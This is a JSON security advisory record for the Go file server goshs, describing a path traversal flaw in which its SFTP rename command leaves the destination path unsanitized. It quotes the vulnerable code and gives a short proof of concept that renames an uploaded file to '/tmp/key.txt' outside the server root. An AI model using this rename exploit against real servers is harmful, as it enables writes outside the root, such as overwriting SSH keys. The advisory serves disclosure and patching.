{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/patrickhener/goshs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.7"
            },
            {
              "last_affected": "1.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40188"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1314"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T20:00:28Z",
    "nvd_published_at": "2026-04-10T20:16:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. \n\n### Details\n\nHere is the issue:\n```go\n// helper.go:155-215\nfunc cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error {\n    fullPath, err := sanitizePath(r.Filepath, root)  // Source: SANITIZED\n    if err != nil {\n        return err\n    }\n    switch r.Method {\n    // ...\n    case \"Rename\":\n        err := os.Rename(fullPath, r.Target)  // Destination: NOT SANITIZED!\n```\n\n\n### PoC\n\nTo exploit just upload a file on the SFTP and rename it to a file with full path. \n\nCurrently no key.txt file inside /tmp\n\n``` bash\n$ ls key.txt\nls: key.txt: No such file or directory\n```\n\n\nStart the SFTP server:\n``` bash\n/tmp/sftp-server $ goshs -sftp -b \u0027user:user\u0027 -d .\nWARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of \u0027sftp\u0027 mode\nWARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs.\nINFO   [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022\nWARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too.\nINFO   [2026-04-02 20:00:18] Using basic auth with user \u0027user\u0027 and password \u0027user\u0027\nINFO   [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded\nINFO   [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000\nINFO   [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000\nINFO   [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-server\n```\n\nConnect to the SFTP and uploading the file:\n``` bash\n$ sftp -P 2022 user@localhost\nuser@localhost\u0027s password:\nConnected to localhost.\nsftp\u003e put /Users/user/Downloads/key.txt\nUploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt\nkey.txt                                                                                                                                                   100%   15    40.9KB/s   00:00\n```\n\nThe file is stored properly. \n\ngoshs log:\n```\nINFO   [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - \"/tmp/sftp-server/key.txt\"\n```\n\nRename command with full path:\n``` bash\nsftp\u003e rename key.txt /tmp/key.txt\n```\n\ngoshs log:\n```\nINFO   [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - \"/tmp/sftp-server/key.txt to /tmp/key.txt\"\n```\n\nKey file is now in /tmp\n```\n$ ls key.txt\nkey.txt\n```\n\n\n### Impact\nThis allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.",
  "id": "GHSA-2943-crp8-38xx",
  "modified": "2026-04-10T21:37:27Z",
  "published": "2026-04-10T20:00:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-2943-crp8-38xx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40188"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/commit/141c188ce270ffbec087844a50e5e695b7da7744"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickhener/goshs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "goshs is Missing Write Protection for Parametric Data Values"
}